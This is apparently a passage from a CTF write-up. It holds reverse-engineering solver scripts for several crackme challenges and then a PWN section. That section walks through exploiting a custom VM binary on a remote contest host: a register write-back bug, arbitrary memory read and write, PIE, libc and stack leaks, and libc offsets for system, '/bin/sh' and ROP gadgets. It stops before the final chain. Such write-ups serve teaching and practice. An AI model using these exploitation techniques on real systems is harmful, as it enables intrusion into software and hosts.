# On each #UD exception the parent (handler 0x40173b) reads the 0F 0B marker,
# takes the child's R12 low byte, runs hashlittle-style hash (0x401584) over
# the 1-byte NUL-terminated string, compares to child R11, and increments a
# counter only when R13==1 and hash matches; at 0x2c it prints "Correct Flag :)"
import re, struct
M32 = 0xFFFFFFFF
def shl(x, n): return (x << n) & M32
def shr(x, n): return (x >> n) & M32
def hash_byte(b):
    """hash(0x401584) with input = [b, 0x00] (strlen==1)"""
    a = 1
    a = (a + b) & M32
    a ^= shl(a, 10)
    a = (a + shr(a, 1)) & M32
    a ^= shl(a, 3)
    a = (a + shr(a, 5)) & M32
    a ^= shl(a, 4)
    a = (a + shr(a, 17)) & M32
    a ^= shl(a, 25)
    a = (a + shr(a, 6)) & M32
    return a
def ror64(x, n):
    n %= 64
    return ((x >> n) | (x << (64 - n))) & ((1 << 64) - 1)
blob = open('blob.bin', 'rb').read()          # dumped from nanomites.exe @0x10620, 0x3f8e bytes
sites = []
i = 0
while True:
    m = re.search(rb'\x0f\x0b', blob[i:])
    if not m: break
    ud2pos = i + m.start()
    prev = blob[max(0, ud2pos - 96):ud2pos]
    r13 = r11 = None
    for k in range(len(prev) - 9, -1, -1):
        if prev[k:k+2] == b'\x49\xbd': r13 = int.from_bytes(prev[k+2:k+10], 'little'); break
    for k in range(len(prev) - 9, -1, -1):
        if prev[k:k+2] == b'\x49\xbb': r11 = int.from_bytes(prev[k+2:k+10], 'little'); break
    off = None
    for k in range(len(prev) - 3, -1, -1):
        if prev[k:k+2] == b'\x44\x8a':
            if prev[k+2] == 0x21: off = 0
            elif prev[k+2] == 0x61: off = prev[k+3]
            if off is not None: break
    sites.append((ud2pos, off, r11, r13))
    i = ud2pos + 2
ones = sorted((s for s in sites if s[3] == 1), key=lambda s: s[1])
assert len(ones) == 44 and [s[1] for s in ones] == list(range(44))
flag = []
for ud2pos, off, imm, r13 in ones:
    exp = ror64(imm ^ 0x1337, 13) & M32
    cands = [c for c in range(256) if hash_byte(c) == exp]
    assert len(cands) == 1, (off, exp, cands)
    flag.append(chr(cands[0]))
print('DASCTF{%s}' % ''.join(flag))

REVERSE-05

Approach

The attachment is a CPython 3.9 .pyc (idol.pyc, 3736 B) plus flag.txt (a text file whose content is the repr string of a 32-byte ciphertext). Since no Python 3.9 runtime was available, the pyc was disassembled with xdis (opcode_39) and the whole program was reconstructed faithfully in Python, then the pipeline was inverted.

Program structure

  • Main: idol0(...) (stage-1 gate), then idolTop(input("Please enter the flag: ")[7:39]), then compares str(result) == str(open('flag.txt').readlines()[0]).
  • idol0: asks for an idol name, lowercases it (global IDOL), requires give_me_string(IDOL) == \x16\x17\x06\x53\x0d\x50\x15.
  • give_me_string(len): seed(35); builds TheStrings via characters[randrange(0, len(length))] (7 picks, index range 0..6); returns chr(ord(idol[i]) ^ ord(TheStrings[i])).
  • idolTop: seed(51), reverses input → idol1.
  • idol1: XORs each char with its index; a b list is dead code (its chars are all overwritten with chr(len(b))).
  • idol2: morse string [-30:52].strip('-') (empty — 108-char string, slice start 78 > stop 52), removes dots; appends chr(ord(s[q]) ∓ randint(0,5)) (minus for even q, plus for odd q) — deterministic from seed(51).
  • idol3: reverses, pair-swaps chars, and res = re.sub(email_regex, '', 'Th1s_Is_Fl@g') — the email regex eats the whole prefix (it contains @), so res is only the 32 swapped chars.
  • idol5(d, k) (param order: data, key): RC4 (KSA idol6 + PRGA) with an extra XOR of each byte with len(d); key = bytes(hex(zlib.crc32(IDOL.encode()))[2:], 'utf-8').
  • Output length = 32 bytes, matching the 32-byte ciphertext in flag.txt.

Evidence / steps

  1. Stage 1: seed(35) → TheStrings = ecgbfcg → IDOL = sta1k3r (verified give_me_string('sta1k3r') == target).
  2. Key = bytes('3278cac7', 'utf-8') (crc32 of sta1k3r).
  3. Decrypt: res = RC4(key, ct[i] ^ 32) → 32-char plaintext.
  4. Invert pair-swap (w[2i]=res[2i+1], w[2i+1]=res[2i]), reverse → t.
  5. Undo randint noise with seed(51) sequence (t[q] + rands[q] for even q, minus for odd q) → d.
  6. Undo index XOR (chr(ord(d[q]) ^ q)) and reverse → flag content.
  7. Full round-trip: str(idolTop('103baab6d786b0fe13c846ecb9f6a0ec')) == exact flag.txt content (verified).

Flag

103baab6d786b0fe13c846ecb9f6a0ec (accepted by platform; full input would be DASCTF{...} with [7:39] slice semantics).

Failed attempts

  • uncompyle6: unsupported for 3.9 bytecode (used xdis disassembly instead).
  • Initial pipeline reading assumed idol5(k, d) (key first) and that Th1s_Is_Fl@g stayed in res — caused length mismatch (44 vs 32 bytes); fixed by reading co_varnames (order d, k) and noticing the email-regex substitution removes the prefix.

EXP

Python
#!/usr/bin/env python3
# REVERSE-05 idol — solver
# Reconstructs idol.pyc pipeline (CPython 3.9) and inverts it to recover the flag.
import random, string, zlib, re, ast
# ---------- faithful reimplementation of idol.py (from bytecode) ----------
def give_me_string(length):
    random.seed(35)
    characters = string.ascii_letters + string.digits + string.punctuation
    TheStrings = ''
    for _ in length:
        TheStrings += characters[random.randrange(0, len(length))]  # NOTE: len(length), not len(characters)
    give = ''
    for i in range(len(length)):
        give += chr(ord(length[i]) ^ ord(TheStrings[i]))
    return give
def idol6(k):
    kl = len(k); s = list(range(256)); j = 0
    for i in range(256):
        j = (j + s[i] + k[i % kl]) % 256
        t = s[i]; s[i] = s[j]; s[j] = t
    return s
def idol5(d, k):                      # arg order: (data, key)
    s = idol6(k)
    i = j = 0; key_len = len(d); result = []
    for x in d:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        t = s[i]; s[i] = s[j]; s[j] = t
        K = s[(s[i] + s[j]) % 256]
        result.append(ord(x) ^ K ^ key_len)
    return bytes(result)
def idol4(d):
    if isinstance(d, str): d = d.encode()
    return zlib.crc32(d)
def idol3(s):
    lg = 0
    Strings = list(s); Strings.reverse(); w = ''.join(Strings)
    res = re.sub(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]', '', 'Th1s_Is_Fl@g')  # email regex eats it -> ''
    for i in range(0, len(w), 2):
        res += w[lg+1] + w[lg]; lg += 2
    return idol5(res, bytes(str(hex(idol4(IDOL)))[2:], 'utf-8'))
def idol2(s):
    t = '.. - .----. ... .- -.-. - ..-. . .-. --..-- .- -. -.. .. - -.-. .- -. -... . - .-. .- -. ... .-.. .- - . -..'[-30:52].strip('-')
    t = re.sub(r'\.', '', t)          # [-30:52] on 108-char string -> ''  (morse part is empty)
    for q in range(len(s)):
        if q % 2 == 0: t += chr(ord(s[q]) - random.randint(0, 5))
        else:          t += chr(ord(s[q]) + random.randint(0, 5))
    return idol3(t)
def idol1(s):
    s = list(s)
    b = list((string.ascii_lowercase + string.digits)[None:len(s)])  # dead code (b becomes spaces)
    for c in range(len(s)): s[c] = chr(ord(s[c]) ^ c)
    d = ''.join(s)
    for y in range(len(d)): b[y % len(b)] = chr(ord(d[y]) ^ ord(s[y]) + len(b))
    return idol2(d)
def idolTop(inp):
    random.seed(51)
    TheList = list(inp); TheList.reverse()
    return idol1(''.join(TheList))
# ---------- stage 1: idol name ----------
target = bytes([0x16, 0x17, 0x06, 0x53, 0x0d, 0x50, 0x15])
random.seed(35)
characters = string.ascii_letters + string.digits + string.punctuation
TheStrings = ''.join(characters[random.randrange(0, 7)] for _ in range(7))
IDOL = ''.join(chr(target[i] ^ ord(TheStrings[i])) for i in range(7))
assert IDOL.lower() == IDOL and give_me_string(IDOL).encode('latin-1') == target
print("idol:", IDOL)
# ---------- stage 2: decrypt flag.txt ----------
ct = ast.literal_eval(open('flag.txt', 'rb').read().decode())  # repr of 32 ciphertext bytes
key = bytes(str(hex(zlib.crc32(IDOL.encode())))[2:], 'utf-8')
def rc4(key, data):
    s = idol6(key)
    i = j = 0; out = []
    for x in data:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        t = s[i]; s[i] = s[j]; s[j] = t
        out.append(x ^ s[(s[i] + s[j]) % 256])
    return bytes(out)
res = rc4(key, bytes(b ^ len(ct) for b in ct))       # undo extra XOR with key_len=32, then RC4
assert len(res) == 32
# invert idol3 pair-swap: res[2i]=w[2i+1], res[2i+1]=w[2i]
w = bytes(v for i in range(0, len(res), 2) for v in (res[i+1], res[i]))
t = w[::-1]                                           # w = reversed(t)
# invert idol2 randint noise (deterministic: seed(51))
random.seed(51)
rands = [random.randint(0, 5) for _ in range(len(t))]
d = [chr(t[q] + rands[q]) if q % 2 == 0 else chr(t[q] - rands[q]) for q in range(len(t))]
# invert idol1 XOR-with-index, then idolTop reversal
s_input = ''.join(chr(ord(d[q]) ^ q) for q in range(len(d)))
flag_content = s_input[::-1]
assert str(idolTop(flag_content)) == open('flag.txt', 'rb').read().decode().strip()
print("FLAG content:", flag_content)
print("full input : DASCTF{%s}" % flag_content)

REVERSE-06

sm4rev Writeup

Flag

Text
DASCTF{SM4_is_secure_but_d0nt_t3ll_any0ne!}

附件 sm4rev 表面是一个 shell 脚本,实际上是 makeself 风格的自解压程序:前 48 行为解压脚本,从第 49 行开始是 gzip 压缩的真实二进制。

Bash
tail -n +49 sm4rev | gzip -cd > sm4_rev.bin
file sm4_rev.bin
# ELF 64-bit LSB executable, x86-64, statically linked, stripped

得到约 1.9MB 的静态链接 stripped ELF(C++ 编写)。

逆向过程

1. 定位 main

通过字符串 "please input flag: "(.rodata VMA 0x57a005)交叉引用找到 main 于 0x404f28:

  • 输出提示语,读入 flag(std::string)
  • 调用验证函数 sub_404cb0(str, len)
  • 返回值非零输出 right!,否则输出 wrong!

2. 验证函数 sub_404cb0

函数开头在栈上初始化两块关键数据:

SM4 密钥(16 字节,标准 SM4 示例密钥):

Text
0xEFCDAB8967452301, 0x1032547698BADCFE
→ 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10

期望密文(48 字节 = 3 个分组):

Text
82 5d ad 7d f7 4b de 01 dc 9e 6a 43 06 6c 45 4f
85 0d 69 6d 4e 91 84 65 42 22 d8 b0 32 c5 ab 2d
83 d3 a8 69 83 5b 20 3e 3a bc 5e 12 24 37 35 bf

随后循环处理输入:

  • 每 16 字节为一个分组,调用 sub_40506a(ctx, in, out) 加密
  • 将加密结果逐字节与期望密文比较,全部相等则返回 1

3. 确认算法为 SM4

sub_40506a 特征明显:

  • 输入按大端序装入 4 个 32 位字
  • X[i+4] = X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])
  • T 变换 = S盒(tau)+ 线性变换 L(含 rol 8/16、ror 8 等旋转,T-table 位于 0x57a140)
  • 输出反序(X35,X34,X33,X32)

即标准 SM4 分组加密(ECB 模式逐块加密)。

求解

用 Python 实现 SM4,先用标准测试向量验证实现正确性:

Text
key = 0123456789abcdeffedcba9876543210
pt  = 0123456789abcdeffedcba9876543210
ct  = 681edf34d206965e86b3e94f536e4246  ✓

然后将轮密钥逆序(SM4 解密 = 加密结构 + 逆序轮密钥),解密 48 字节期望密文:

Text
DASCTF{SM4_is_secure_but_d0nt_t3ll_any0ne!}\x05\x05\x05\x05\x05

尾部 \x05*5 是 PKCS#7 填充,去除后即 flag。

解密脚本(关键部分):

Python
key = bytes.fromhex('0123456789abcdeffedcba9876543210')
rk  = rks([int.from_bytes(key[i*4:i*4+4],'big') for i in range(4)])
ct  = bytes.fromhex('825dad7df74bde01dc9e6a43066c454f'
                    '850d696d4e9184654222d8b032c5ab2d'
                    '83d3a869835b203e3abc5e12243735bf')
flag = b''.join(crypt_block(ct[i:i+16], rk[::-1]) for i in range(0, 48, 16))

验证

在 Linux 环境中运行原程序确认:

Bash
$ echo 'DASCTF{SM4_is_secure_but_d0nt_t3ll_any0ne!}' | ./sm4_rev.bin
please input flag: right!

REVERSE-07

QRCodeWorld

Flag: DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}\n解法: Unity IL2CPP 加壳脱壳(Unicorn 模拟)→ Cpp2IL 代码还原 → 元数据 QR 矩阵提取 → 解码

题面

附件为 Unity IL2CPP 游戏(Unity 2022.3.16f1,metadata v29.1):GameAssembly.dll + global-metadata.dat。提示为“flag就在你脚下”,flag 被渲染成地面上的 QR 码。

攻击流程

Step 1:场景结构确认

UnityPy 读取场景 level1:唯一 MonoBehaviour 为 QRCodeGenerator,无序列化数据,QR 载荷由代码构建。

Step 2:脱壳 GameAssembly.dll

DLL 被自定义 aPLib 风格 LZ 壳压缩(节 DAS0/DAS1/DAS2,EP stub 0x18349d790,OEP 0x1806cdd90;DAS0 为 45MB 纯虚拟节)。用 Unicorn 模拟 EP stub,hook LoadLibraryA/GetProcAddress/VirtualProtect(IAT 槽 0x18349e140/148/150),dump 出 45MB 脱壳镜像(unpack.py → GameAssembly_unpacked.dll)。

Step 3:Cpp2IL 还原代码

对脱壳 DLL 运行 Cpp2IL,得到 Assembly-CSharp 的 ISIL:

  • .ctor:qrCodeData = new int[29,29],经 RuntimeHelpers.InitializeArray 从字段默认值 blob 填充。
  • Start() → GenerateQRCode():遍历 i,j in 0..29,对 qrCodeData[i,j] == 1 的格子在地面摆放黑色方块,即渲染 29×29 QR 矩阵。

Step 4:从元数据提取 QR 矩阵

初始化数据位于 global-metadata.dat 的 Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData 节。解析头(注意是 {Offset, Size} 字节数段头而非计数)+ 扫描 841 个 int32 全 0/1 窗口(暗模块数平衡),在偏移 0x1c3070 处找到矩阵(421 个暗模块)。

Step 5:渲染 + 解码

29×29 渲染成带静区的 PNG,用 pyzbar 解码。

EXP

Python
#!/usr/bin/env python3
"""
QRCodeWorld — solve script.
 
The flag is "under your feet": the game QRCodeWorld (Unity IL2CPP) renders a
ground QR code from QRCodeGenerator.qrCodeData, a 29x29 int[,] initialized via
RuntimeHelpers.InitializeArray from the field's default-value blob stored in
global-metadata.dat (Il2CppGlobalMetadataHeader.fieldAndParameterDefaultValueData).
 
This script:
  1. Parses the IL2CPP global-metadata.dat header to locate the
     fieldAndParameterDefaultValueData section.
  2. Finds the 29*29 = 841-int32 window whose values are all 0/1 and balanced
     (the QR module matrix; 200 < dark modules < 650).
  3. Renders it as a PNG (with quiet zone) and decodes it with pyzbar.
 
Output: the flag DASCTF{...}
"""
import struct
import numpy as np
from PIL import Image
import pyzbar.pyzbar as pyzbar
 
METADATA = "qrcodeworld/QRCodeWorld_Data/il2cpp_data/Metadata/global-metadata.dat"
SIZE = 29  # qrCodeData = new int[29,29]  (from QRCodeGenerator .ctor)
 
 
def section(meta, off):
    """Read an Il2CppGlobalMetadataSectionHeader {Offset, Size} at file offset `off`."""
    o, s = struct.unpack_from("<II", meta, off)
    return o, s
 
 
def find_qr_blob(meta):
    # fieldAndParameterDefaultValueData is the 9th header section -> file offset 8+8*8=72
    fapd_off, fapd_size = section(meta, 72)
    data = meta[fapd_off:fapd_off + fapd_size]
    a = np.frombuffer(data, dtype="<u4")
    n = SIZE * SIZE
    for i in range(0, len(a) - n + 1):
        w = a[i:i + n]
        if np.all((w == 0) | (w == 1)):
            ones = int(w.sum())
            if 200 < ones < 650:  # balanced QR matrix
                return w.reshape(SIZE, SIZE), fapd_off + i * 4
    raise RuntimeError("QR blob not found")
 
 
def render(grid, quiet=4, scale=10):
    h, w = grid.shape
    img = np.ones((h + 2 * quiet, w + 2 * quiet), dtype=np.uint8) * 255
    img[quiet:quiet + h, quiet:quiet + w] = np.where(grid == 1, 0, 255)
    return Image.fromarray(img).resize(((w + 2 * quiet) * scale, (h + 2 * quiet) * scale), Image.NEAREST)
 
 
def main():
    meta = open(METADATA, "rb").read()
    assert struct.unpack_from("<I", meta, 0)[0] == 0xFAB11BAF, "bad metadata magic"
    grid, off = find_qr_blob(meta)
    print(f"[*] QR matrix found at metadata offset 0x{off:x}")
    im = render(grid)
    im.save("/workspace/qr_flag.png")
    res = pyzbar.decode(im)
    for r in res:
        print("[+] FLAG:", r.data.decode())
    if not res:
        print("[-] decode failed")
    return res[0].data.decode() if res else None
 
 
if __name__ == "__main__":
    main()

REVERSE-08

REVERSE-08 — zistel (Zig static ELF)

Flag

DASCTF{z1g_I3_S0_Coo0l!} — platform accepted inner content z1g_I3_S0_Coo0l!.

Approach

Static analysis of a 11KB stripped Zig ELF (zistel), which asks “Input Flag: “ and checks a 16-byte input via a custom 20-round Feistel cipher. No dynamic binary analysis tool was needed beyond a few self-made patches used as an oracle.

Evidence / Steps

  1. Strings & layout: .rodata at 0x10001e0 holds the check-index table {0,12,8,4}; key bytes at 0x1000730 = 58 31 29 33 11 02 76 60 46 5f 18 42 29 6f 74 63; the 4 dwords cover all 16 bytes of the transformed output, so transform(flag16) == key16.
  2. Main check (0x10022bd): reads 16 bytes, calls 0x10024a4(flag, 0x1004790, out), then requires out[i] ^ key[i] == 0 for i in {0,12,8,4}.
  3. Transform (0x10024a4): two 8-byte blocks, each a 20-round Feistel: (L,R) -> (R, L ^ g(w[r], R)), output block = R20 || L20.
  4. Round function g(w,R) = P(R ^ w) ^ w where P is a 4-byte permutation driven by key bytes: for i in 0..3 swap A[i] <-> A[K[i]&3] (K = w bytes). (0x10026f0 misidentified as bswap — it is actually identity; verified by patching the binary to print its output for 0x11223344.)
  5. Key schedule (0x100257d): w[0] = seed ^ 0xdeadbeef, w[1] = w[0] ^ 0xbeefdead, w[i] = w[i-2]^w[i-1]; seed = dword "love" = 0x65766f6c at .data 0x1004790 (verified by patching binary to dump the w table: [0xbbdbd183, 0x05340f2e, 0xbeefdead] repeating).
  6. Oracle validation: patched binary (dump output at 0x10022e3, round count 0x14->0x01) confirmed g exactly, e.g. enc(0^16) = 38 00 58 60 ×4, enc('A'*16) = 7941192138005860 ×2.
  7. Decrypt key with reversed rounds → z1g_I3_S0_Coo0l!; re-encryption matches, and running the unmodified binary prints “Correct!” for that input.

Failed attempts

  • Initial model used bswap in g and w0=0xb24cc88a → garbage; caused by misreading 0x10026f0 as byte-swap (it rebuilds the dword in original order = identity) and by an arithmetic slip on the seed XOR. Resolved via oracle queries and the patched w-table dump.
  • DASCTF{...} wrapper rejected by platform; inner content accepted (per event rules).

EXP

Python
#!/usr/bin/env python3
# REVERSE-08 (zistel, Zig static ELF) — 20-round Feistel cipher keyed by "love".
# Re-derives DASCTF{z1g_I3_S0_Coo0l!} from the attachment.
import struct
MASK = 0xffffffff
# --- key schedule (from 0x100257d): w[0]=seed^0xdeadbeef, w[1]=w[0]^0xbeefdead, w[i]=w[i-2]^w[i-1]
seed = 0x65766f6c                      # dword "love" at 0x1004790 (.data)
w = [0] * 20
w[0] = seed ^ 0xdeadbeef
w[1] = w[0] ^ 0xbeefdead
for i in range(2, 20):
    w[i] = w[i - 2] ^ w[i - 1]
def swap4(A, wk):
    """byte permutation driven by key bytes (0x100261b swap loop)."""
    Ab = list(A.to_bytes(4, 'little'))
    Kb = wk.to_bytes(4, 'little')
    for i in range(4):
        j = Kb[i] & 3
        Ab[i], Ab[j] = Ab[j], Ab[i]
    return int.from_bytes(bytes(Ab), 'little')
def g(R, wk):
    return (swap4(R ^ wk, wk) ^ wk) & MASK
def enc(b8):
    L = int.from_bytes(b8[0:4], 'little')
    R = int.from_bytes(b8[4:8], 'little')
    for i in range(20):
        L, R = R, (L ^ g(R, w[i])) & MASK
    return R.to_bytes(4, 'little') + L.to_bytes(4, 'little')
def dec(b8):
    R20 = int.from_bytes(b8[0:4], 'little')
    L20 = int.from_bytes(b8[4:8], 'little')
    L, R = L20, R20
    for i in range(19, -1, -1):
        L, R = (R ^ g(L, w[i])) & MASK, L
    return L.to_bytes(4, 'little') + R.to_bytes(4, 'little')
# expected ciphertext = 16 key bytes at 0x1000730 (checked at indices {0,12,8,4})
key = bytes.fromhex("5831293311027660465f1842296f7463")
plain = dec(key[0:8]) + dec(key[8:16])
assert enc(plain[0:8]) + enc(plain[8:16]) == key
print("flag content:", plain.decode())
print("flag: DASCTF{%s}" % plain.decode())

REVERSE-09

REVERSE-09 — bouquet.exe

Approach

Static reverse engineering of the PE32 (i386, MSVC) bouquet.exe.

Evidence

  • Strings in .rdata: Plz input flag:, two 25-char scrambled strings j7aw_sC3addq4TAo}8_Fda{SD (0x417b44) and ja7Cws_A3daTd4qDo8}F_Sd{a (0x417c1c), wrong.
  • main (0x4158d0):
    • reads input, requires length == 25 (cmp [ebp-0x140], 0x19)
    • builds a complete binary tree by level-order/BFS insertion from the input chars (queue nodes[]; node() constructor = 0x411760; children at 2i+1/2i+2)
    • check 1 (hidden inside junk code region 0x415adc–0x415ae0: 74 03 75 01 e8 with overlapping decode): call 0x4113cf → inorder check func 0x415540
    • check 2: call 0x4113d4 → postorder check func 0x411d30
  • Traversal functions (both take node + index ptr, print “wrong” on mismatch):
    • 0x415540 (inorder): left recurse → compare node data vs s2[idx++] → right recurse
    • 0x411d30 (postorder): left recurse → right recurse → compare vs s1[idx++]
  • The junk code (花指令) at 0x415adc: 74 03/75 01/e8 c7... is never executed as written; real flow jumps into the middle (0x415ae1 → c7 85 ...).

Steps

  1. Extract strings; find references; identify traversal order by call placement (left/node/right = inorder; left/right/node = postorder).
  2. Since the tree is built level-order from the input, the input IS the level-order traversal. Given fixed tree shape (25-node complete tree) plus inorder ja7Cws_A3daTd4qDo8}F_Sd{a and postorder j7aw_sC3addq4TAo}8_Fda{SD, reconstruct node values (root = last postorder elem, split inorder at root).
  3. Read level-order of reconstructed tree → flag.

Flag

DASCTF{asd48_daj7w_3adqo} (submitted inner content asd48_daj7w_3adqo; platform accepted)

EXP

python3 solve.py — reconstructs and verifies both traversals.

Python
#!/usr/bin/env python3
# REVERSE-09: bouquet.exe
# Binary: reads 25-char input, builds a complete binary tree via BFS/level-order
# insertion, then verifies:
#   inorder  traversal == "ja7Cws_A3daTd4qDo8}F_Sd{a"  (func 0x415540)
#   postorder traversal == "j7aw_sC3addq4TAo}8_Fda{SD" (func 0x411d30)
# (junk-code region 0x415adc-0x415ae0 hides the inorder check call)
# Since the tree is built level-order from the input, the input (flag) IS the
# level-order sequence. Reconstruct node values from inorder+postorder.
inorder   = "ja7Cws_A3daTd4qDo8}F_Sd{a"
postorder = "j7aw_sC3addq4TAo}8_Fda{SD"
assert len(inorder) == len(postorder) == 25
def build(ino, post):
    if not ino:
        return None
    root = post[-1]
    k = ino.index(root)
    return (root, build(ino[:k], post[:k]), build(ino[k+1:], post[k:-1]))
tree = build(inorder, postorder)
from collections import deque
q = deque([tree])
level = []
while q:
    node = q.popleft()
    level.append(node[0])
    if node[1]: q.append(node[1])
    if node[2]: q.append(node[2])
flag = ''.join(level)
print("level-order (flag):", flag)
# verification
def tin(t):  return (tin(t[1]) + t[0] + tin(t[2])) if t else ''
def tpo(t):  return (tpo(t[1]) + tpo(t[2]) + t[0]) if t else ''
assert tin(tree) == inorder
assert tpo(tree) == postorder
print("verified: inorder & postorder match embedded strings")

PWN

PWN-02

1. 题目信息

  • 题目:mvmph
  • 附件:vvmm、libc.so.6
  • 远端:1.14.76.59:32547
  • 最终 flag:DASCTF{67126353521039200926297497409404}

2. 保护与初步分析

vvmm 是 stripped 的 amd64 PIE ELF,保护如下:

Text
RELRO:      Full RELRO

Stack:      No canary found

NX:         NX enabled

PIE:        PIE enabled

SHSTK:      Enabled

IBT:        Enabled

附带的 libc 为:

Text
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8)

Full RELRO 排除了直接覆盖 GOT,NX 排除了直接执行输入的 VM 字节码,PIE 和 ASLR 则要求先泄漏地址。虽然 ELF 属性里存在 SHSTK/IBT 标记,但远端没有实际阻止本次普通 ROP 链。

程序只输出一行提示:

Text
Please input your opcodes:

导入函数中有 read、write、malloc、free、open、rand、srand、exit 和 _exit,说明 VM 内部实现了一组宿主调用。

3. main 与 VM 状态结构

main 位于 PIE 偏移 0x2ca6。核心逻辑可以还原成:

C
int main(void) {
    setup_stdio();
    puts("Please input your opcodes:");
 
    vm.code = code_buffer;                 // PIE + 0x50e0
    read(0, code_buffer, 0x1000);
    vm.pc = 0;
 
    vm.r[6] = malloc(0x2000) + 0x1000;    // 真实宿主堆指针
    chunk_table = malloc(0x90);
 
    seed = read_u32_from_urandom();
    srand(seed);
    malloc((rand() % 32) * 0x200);         // 随机堆布局噪声
 
    run_vm(&vm);
}

根据各个 handler 对字段的访问,可以还原 VM 结构:

C
struct VM {
    uint8_t  *code;       // +0x00,PIE + 0x50e0
    uint32_t pc;          // +0x08
    uint32_t padding;     // +0x0c
    uint64_t r[7];        // +0x10 ~ +0x40
    uint8_t  cmp_flag;    // +0x48
};

关键静态偏移为:

对象 PIE 偏移
vm 0x5080
vm.r0 0x5090
vm.r3 0x50a8
vm.r6 0x50c0
VM 字节码缓冲区 0x50e0
puts@GOT 0x4f88

r6 被初始化为 malloc(0x2000) + 0x1000,因此它不是虚拟偏移,而是一个完整的宿主堆地址。这是后续拼地址的高 32 位来源。

4. VM 指令格式

每条指令的第一个字节编码为:

Text
first_byte = (opcode << 2) | mode

低两位是寻址模式:

mode 后续操作数 说明
0 3 字节立即数 24 位大端立即数
1 1 字节寄存器号 单寄存器
2 2 个寄存器号 双寄存器
3 寄存器号 + 4 字节立即数 32 位小端立即数

利用中需要的指令很少:

opcode 作用
0x03 mov
0x0a add
0x0b sub
0x33 调用宿主函数

对应编码函数如下:

Python
def rr(op, dst, src):
    return bytes([(op << 2) | 2, dst, src])
 
def ri(op, reg, imm):
    return bytes([(op << 2) | 3, reg]) + p32(imm)
 
def ii(op, imm):
    return bytes([op << 2]) + imm.to_bytes(3, "big")

解释器还限制 pc <= 0x800,因此完整利用字节码必须控制在 0x800 字节以内。

次要问题:双寄存器校验错误

mode 2 的解析逻辑等价于:

C
if (invalid(reg1)) {
    if (invalid(reg2))
        return -1;
}

因此只要两个寄存器中有一个合法,整条指令就会被接受,可以用另一个越界寄存器号访问 VM 后方的 BSS/字节码缓冲区。这个问题可用于调试和搬运数据,但最终利用链并不依赖它。

5. 宿主调用接口

opcode 0x33 的 mode 0 handler 位于 0x1906。它取立即数作为宿主调用编号,并把 r0 至 r5 作为参数传给 0x1669 的 dispatcher:

Text
0 -> read(r0, r1, r2)
1 -> write(r0, r1, r2)
2 -> exit(r0)
3 -> VM chunk malloc

4 -> VM chunk free

mode 0 版本直接把 VM 寄存器中的值作为宿主指针使用,没有把 r1 限制为 VM 字节码偏移。因此,只要能构造一个宿主地址,就能通过:

Text
r0 = 1; r1 = address; r2 = size; host_call(1)

读取任意宿主内存;也能通过:

Text
r0 = 0; r1 = address; r2 = size; host_call(0)

向任意宿主内存写入数据。

难点只剩下如何得到第一个宿主 PIE/BSS 指针。

6. 漏洞根因:保留高 32 位的错误回写

宿主 dispatcher 返回以后,handler 在 0x195f 执行:

Asm
195f: mov    rax, [rbp-0x8]    ; rax = vm
 
1963: add    rax, 0x10         ; rax = &vm->r0
 
1967: mov    dword ptr [rax], eax

最后一条指令的目标地址是 &vm->r0,而写入值又是该地址本身的低 32 位。因为这是一次 32 位内存写,r0 原有的高 32 位不会改变:

C
*(uint32_t *)&vm->r[0] = (uint32_t)(uintptr_t)&vm->r[0];

先执行:

Text
r0 = r6

host_call(99)

调用编号 99 不在 dispatcher 的 0..4 范围内,不会产生危险副作用,但返回后的错误回写仍会发生。于是:

Text
r0.high32 = r6.high32

r0.low32  = (&vm->r0).low32

远端环境中 PIE 与主堆都位于 0x55... 区域,并共享高 32 位,因此:

Text
r0 = (r6 & 0xffffffff00000000)
   | ((&vm->r0) & 0x00000000ffffffff)
   = &vm->r0

一次远端探针中得到:

Text
r6             = 0x5591978a82a0
拼接后的 &r0   = 0x55919657c090

两者的高 32 位均为 0x00005591,拼接结果可直接访问 BSS。

获得完整 &vm->r0 后立刻复制到 r4 保存,因为后续每次宿主调用都会再次破坏 r0 的低 32 位:

Text
mov r0, r6

host_call 99

mov r4, r0       # r4 永久保存 &vm->r0

7. 泄漏 PIE

已知:

Text
&vm->r0 = PIE + 0x5090

vm      = &vm->r0 - 0x10

因此令:

Text
r1 = r4 - 0x10

r0 = 1

r2 = 0x60

host_call 1

即可把整个 VM 头部写回连接。VM 结构的第一个 qword 是 code 指针:

Text
vm.code = PIE + 0x50e0

所以:

Python
code_ptr = u64(vm_dump[:8])
pie_base = code_ptr - 0x50e0

8. 泄漏 libc

提示字符串在进入 VM 前已经通过 puts 输出,因此 puts@GOT 已完成 lazy binding。其地址为:

Text
puts@GOT = PIE + 0x4f88

从 &vm->r0 到该 GOT 项的差值是:

Text
0x5090 - 0x4f88 = 0x108

令 r1 = r4 - 0x108,再执行 write(1, r1, 8),即可得到 puts 的真实地址。

附件 libc 中:

Text
puts offset = 0x80e50

所以:

Python
libc_base = leaked_puts - 0x80e50

本次利用使用的 libc 偏移如下:

符号或 gadget libc 偏移
puts 0x80e50
system 0x50d70
exit 0x455f0
environ 0x222200
"/bin/sh\0" 0x1d8678
ret 0x29139
pop rdi; ret 0x2a3e5

9. 构造可交互的任意地址读取

r4 保存着 &r0,所以:

Text
&r3 = &r0 + 3 * 8 = r4 + 0x18

可用宿主 read 从网络接收一个 64 位地址并直接写入 r3:

Text
r1 = r4 + 0x18    # &r3

r0 = 0

r2 = 8

host_call 0       # read(0, &r3, 8)

之后令 r1 = r3 并执行宿主 write,就能泄漏任意地址:

Text
r1 = r3

r0 = 1

r2 = length

host_call 1

这使 Python 脚本可以在 VM 执行过程中分阶段计算地址并回传给 VM,而不必提前知道 ASLR 地址。

10. 泄漏栈并定位当前返回地址

已知 libc 基址后,先把:

Text
libc_base + environ_offset

发送给 VM,泄漏 environ 中保存的栈指针。随后从:

Text
environ_value - 0x4000

开始泄漏 0x4000 字节栈内存。

不能只搜索一个 PIE 返回地址,因为栈上可能残留旧值。当前 host_call 调用链具有稳定的三段特征:

相对候选槽位置 应出现的值 含义
+0x00 PIE + 0x195b dispatcher 返回到宿主调用 handler
+0x30 PIE + 0x2bc3 handler 返回到 VM 解释器
